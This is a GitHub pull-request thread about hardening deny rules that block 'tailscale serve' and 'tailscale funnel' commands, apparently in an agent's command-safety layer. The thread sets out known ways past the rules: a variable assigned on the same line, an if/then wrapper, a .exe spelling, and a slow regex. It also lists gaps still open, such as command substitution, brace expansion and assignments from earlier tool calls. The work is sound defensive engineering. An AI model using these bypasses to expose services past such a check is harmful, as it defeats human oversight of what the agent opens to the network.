
Two follow-ups to the network-exposure family from #8262.

Command position. The rows began with a match-anywhere `.*tailscale`
prefix, so a command whose ARGUMENT names a subcommand was refused:
`grep -rn "tailscale serve" docs/`, `git log --grep="tailscale funnel"`,
a commit message or PR title, `pytest -k "tailscale serve"`, and
`echo "Run: sudo tailscale set --operator=$USER"`. The Security Scope
Review confirmed seven such read-only operations as newly refused. The
rows now share `_TAILSCALE_PROGRAM`, which anchors the name the way
`sandbox-escape-ssh-self` anchors `ssh`: start of input, a command
separator or a substitution opener, optional opening quotes, at most one
wrapper (sudo, env, nohup, exec, command, time, nice, doas, or a leading
VAR=value) and an optional path. The wrapper group is `?`-quantified, so
it adds no nested repetition, and the flag run is unchanged.

Same-line assignments. The rows matched command text only, so a literal
assignment in program position (t=tailscale; "$t" funnel 3000) ran the
funnel while the rows never saw the name. This was the blocking GPT 5.6
finding on #8262. is_denied now also matches the rows in
_NETWORK_EXPOSURE_RULE_PATTERNS against the command with those
assignments resolved, using the resolver the ssh-to-self floor already
applies (_resolve_line_assignments), segment by segment through the
pass-2 quote-normalized views. The copy is scoped to this family, the way
the interpreter-concatenation copy is scoped to its two rules. A disabled
row stays disabled: only patterns still in the effective set are matched.

Command substitution, brace expansion and an assignment from an earlier
tool call stay the documented residual; the scope test pins them as open.
Also fixes the spec drift the 2026-10-05 triage listed (possessive
wording, rule and row counts) and raises the security package line
budget by the lines this family adds.

Replaces #8262

Co-authored-by: GoZippy <6089645+GoZippy@users.noreply.github.com>
iamwhatever pushed a commit that referenced this pull request Oct 16, 2026
The six network-exposure rows matched command text. Matched anywhere,
they refused commands that only NAME a subcommand (grep, git log --grep,
commit messages, PR titles); a text pattern also cannot see shell
grammar around a real invocation (if true; then tailscale funnel 3000;
fi, a variable in program position).

exposure_floor._tailscale_exposure_rule judges the argv the shell will
run instead. It reuses the self-protection payload walk (separators,
reserved words, subshells, $( ) and backticks, sh -c and eval payloads,
same-line literal assignments) and the data-consumer exemption, looked
through wrappers and their option values, and reads the leading operand
against a verb table with exact read carve-outs. It is handed the raw
command so assignments resolve case-sensitively (ts and TS differ).
For its own frames only, through two default-off hooks on the shared
walk, a heredoc body is data unless fed to a shell, and a backtick or
$( inside single quotes is literal.

Like git-publish, is_denied records which rows are enabled and removes
their patterns from the regex tier: the floor is the only enforcement,
gated per row. The spec paragraphs and the package line budget follow.

Replaces #8262
iamwhatever pushed a commit that referenced this pull request Oct 16, 2026
The six network-exposure rows matched command text. Matched anywhere,
they refused commands that only NAME a subcommand (grep, git log --grep,
commit messages, PR titles); a text pattern also cannot see shell
grammar around a real invocation (if true; then tailscale funnel 3000;
fi, a variable in program position).

exposure_floor._tailscale_exposure_rule judges the argv the shell will
run instead. It reuses the self-protection payload walk (separators,
reserved words, subshells, $( ) and backticks, sh -c and eval payloads,
same-line literal assignments) and the data-consumer exemption, looked
through wrappers and their option values, and reads the leading operand
against a verb table with exact read carve-outs. It is handed the raw
command so assignments resolve case-sensitively (ts and TS differ).
For its own frames only, through two default-off hooks on the shared
walk, a heredoc body is data unless fed to a shell, and a backtick or
$( inside single quotes is literal.

Like git-publish, is_denied records which rows are enabled and removes
their patterns from the regex tier: the floor is the only enforcement,
gated per row. The spec paragraphs and the package line budget follow.

Replaces #8262
iamwhatever pushed a commit that referenced this pull request Oct 16, 2026
The six network-exposure rows matched command text. Matched anywhere,
they refused commands that only NAME a subcommand (grep, git log --grep,
commit messages, PR titles); a text pattern also cannot see shell
grammar around a real invocation (if true; then tailscale funnel 3000;
fi, a variable in program position).

exposure_floor._tailscale_exposure_rule judges the argv the shell will
run instead. It reuses the self-protection payload walk (separators,
reserved words, subshells, $( ) and backticks, sh -c and eval payloads,
same-line literal assignments) and the data-consumer exemption, looked
through wrappers and their option values, and reads the leading operand
against a verb table with exact read carve-outs. It is handed the raw
command so assignments resolve case-sensitively (ts and TS differ).
For its own frames only, through two default-off hooks on the shared
walk, a heredoc body is data unless fed to a shell, and a backtick or
$( inside single quotes is literal.

Like git-publish, is_denied records which rows are enabled and removes
their patterns from the regex tier: the floor is the only enforcement,
gated per row. The spec paragraphs and the package line budget follow.

Replaces #8262
iamwhatever pushed a commit that referenced this pull request Oct 16, 2026
The six network-exposure rows matched command text. Matched anywhere,
they refused commands that only NAME a subcommand (grep, git log --grep,
commit messages, PR titles); a text pattern also cannot see shell
grammar around a real invocation (if true; then tailscale funnel 3000;
fi, a variable in program position).

exposure_floor._tailscale_exposure_rule mirrors the self-protection
subcommand floor on the unchanged shared payload walk: every token whose
basename is tailscale is a candidate unless it is an argument of a data
consumer, and its leading operands are read against a verb table with
exact read carve-outs. It is position-blind and fails closed, like the
floors already on main, so glued separators, leading redirects, reserved
words and heredocs fed to a shell cannot move the program out of view;
it inherits their over-refusals (git grep, docker compose, heredoc and
single-quoted backtick bodies read as commands), which are shared-walk
gaps. It is handed the raw command so assignments resolve
case-sensitively (ts and TS differ), scans past a disabled row, cuts a
redirect glued to the verb, and expands a brace verb with a depth cap.

Like git-publish, is_denied records which rows are enabled and removes
their patterns from the regex tier: the floor is the only enforcement,
gated per row. The spec paragraphs and the package line budget follow.

Replaces #8262
iamwhatever pushed a commit that referenced this pull request Oct 16, 2026
The six network-exposure rows matched command text. Matched anywhere,
they refused commands that only NAME a subcommand (grep, git log --grep,
commit messages, PR titles); a text pattern also cannot see shell
grammar around a real invocation (if true; then tailscale funnel 3000;
fi, a variable in program position).

exposure_floor._tailscale_exposure_rule mirrors the self-protection
subcommand floor on the unchanged shared payload walk: every token whose
basename is tailscale is a candidate unless it is an argument of a data
consumer, and its leading operands are read against a verb table with
exact read carve-outs. It is position-blind and fails closed, like the
floors already on main, so glued separators, leading redirects, reserved
words and heredocs fed to a shell cannot move the program out of view;
it inherits their over-refusals (git grep, docker compose, heredoc and
single-quoted backtick bodies read as commands), which are shared-walk
gaps. It is handed the raw command so assignments resolve
case-sensitively (ts and TS differ), scans past a disabled row, cuts a
redirect glued to the verb, and brace-expands the first two operands
with a depth cap, failing closed when an expansion cannot be computed.
A read is the word right after the verb; there is no --help carve-out.

The family is narrowed to what WIDENS exposure: the exit-node row and
the down verb are dropped (they narrow exposure or move egress).

Like git-publish, is_denied records which rows are enabled and removes
their patterns from the regex tier: the floor is the only enforcement,
gated per row. The spec paragraphs and the package line budget follow.

Replaces #8262
@GoZippy

GoZippy commented Oct 26, 2026

Copy link
Copy Markdown
Contributor Author

Closing in favour of #21149, which carries this work forward properly.

#21149 cherry-picks the rows commit with -x and keeps authorship, then adds
the part this PR could not justify doing on its own: it moves the family's
enforcement from pattern text to an argv-structural floor. That is the
right answer to the question this PR was stuck on. The position I argued here
was that a resolver wired for tailscale alone would buy one family an
appearance of coverage the other catalog rows do not have, and that widening
the floor generically was a maintainer's call rather than this PR's job —
#21149 is that call, made, and it is better than anything this branch would
have produced.

One result from over there worth recording here, because it closes out a
decision left open on this thread. I declined to anchor these rows at a
segment start, on the grounds that it would fix two false refusals (a grep
whose argument reads as the subcommand) at the cost of dropping
sudo tailscale serve … and /usr/bin/tailscale funnel …, both of which the
suite pins as denied — and that trading real coverage for two false refusals
inside a fix for a different finding was not mine to make. #21149 tried the
anchored form at 055ac3b0d and reset away from it: quadratic on
sudo a/a/…, plus an if …; then tailscale bypass. So the anchor was not
merely a bad trade, it was unsound. Good that it got tested properly rather
than taken on my say-so either way.

Everything of substance here lives on #21149 — the six rows, the Windows
spelling coverage, the read carve-outs and the deny/allow matrix tests, all
unchanged. The shared shell-walk gaps that floor inherits are tracked at
#21345.

Thanks to @iamwhatever for carrying it over with the authorship kept, and to
the reviewers on this thread: the .exe bypass and the 35-second
backtracking case were both found here by people reading the patterns
properly, and both are fixed in what ships.

@GoZippy GoZippy closed this Oct 26, 2026
@github-actions github-actions Bot removed the readiness: action required A blocking check or review needs attention label Oct 26, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

fork Pull request from a fork (external contributor) merge conflict Branch has merge conflicts with its base — author must resolve before merge needs-author-decision PR blocked on author input

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants